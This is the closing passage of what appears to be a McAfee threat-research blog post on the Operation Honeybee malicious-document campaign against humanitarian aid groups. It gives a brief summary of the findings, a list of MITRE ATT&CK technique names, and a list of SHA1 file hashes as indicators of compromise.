
Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor. Some new droppers have not been observed before in the wild. The MaoCheng dropper was apparently created specifically for this operation and appeared only twice in the wild.


Indicators of compromise

MITRE ATT&CK techniques

  • Modify existing service
  • Code signing
  • File deletion
  • Deobfuscate/decode files or information
  • System information discovery
  • Process discovery
  • Service execution
  • RunDLL32
  • Scripting
  • Command-line Interface
  • Data from local system
  • Automated exfiltration
  • Data encrypted
  • Commonly used port
  • Bypass user account control


  • fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3
  • f684e15dd2e84bac49ea9b89f9b2646dc32a2477
  • 1d280a77595a2d2bbd36b9b5d958f99be20f8e06
  • 19d9573f0b2c2100accd562cc82d57adb12a57ec
  • f90a2155ac492c3c2d5e1d83e384e1a734e59cc0
  • 9b832dda912cce6b23da8abf3881fcf4d2b7ce09
  • f3b62fea38cb44e15984d941445d24e6b309bc7b
  • 66d2cea01b46c3353f4339a986a97b24ed89ee18
  • 7113aaab61cacb6086c5531a453adf82ca7e7d03
  • d41daba0ebfa55d0c769ccfc03dbf6a5221e006a
  • 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c
  • 35ab747c15c20da29a14e8b46c07c0448cef4999
  • e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42
  • 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0
  • bca861a46d60831a3101c50f80a6d626fa99bf16
  • 01530adb3f947fabebae5d9c04fb69f9000c3cef
  • 4229896d61a5ad57ed5c247228606ce62c7032d0
  • 4c7e975f95ebc47423923b855a7530af52977f57
  • 5a6ad7a1c566204a92dd269312d1156d51e61dc4
  • 1dc50bfcab2bc80587ac900c03e23afcbe243f64
  • 003e21b02be3248ff72cc2bfcd05bb161b6a2356
  • 9b7c3c48bcef6330e3086de592b3223eb198744a
  • 85e2453b37602429596c9681a8c58a5c6faf8d0c



The post McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups appeared first on McAfee Blogs.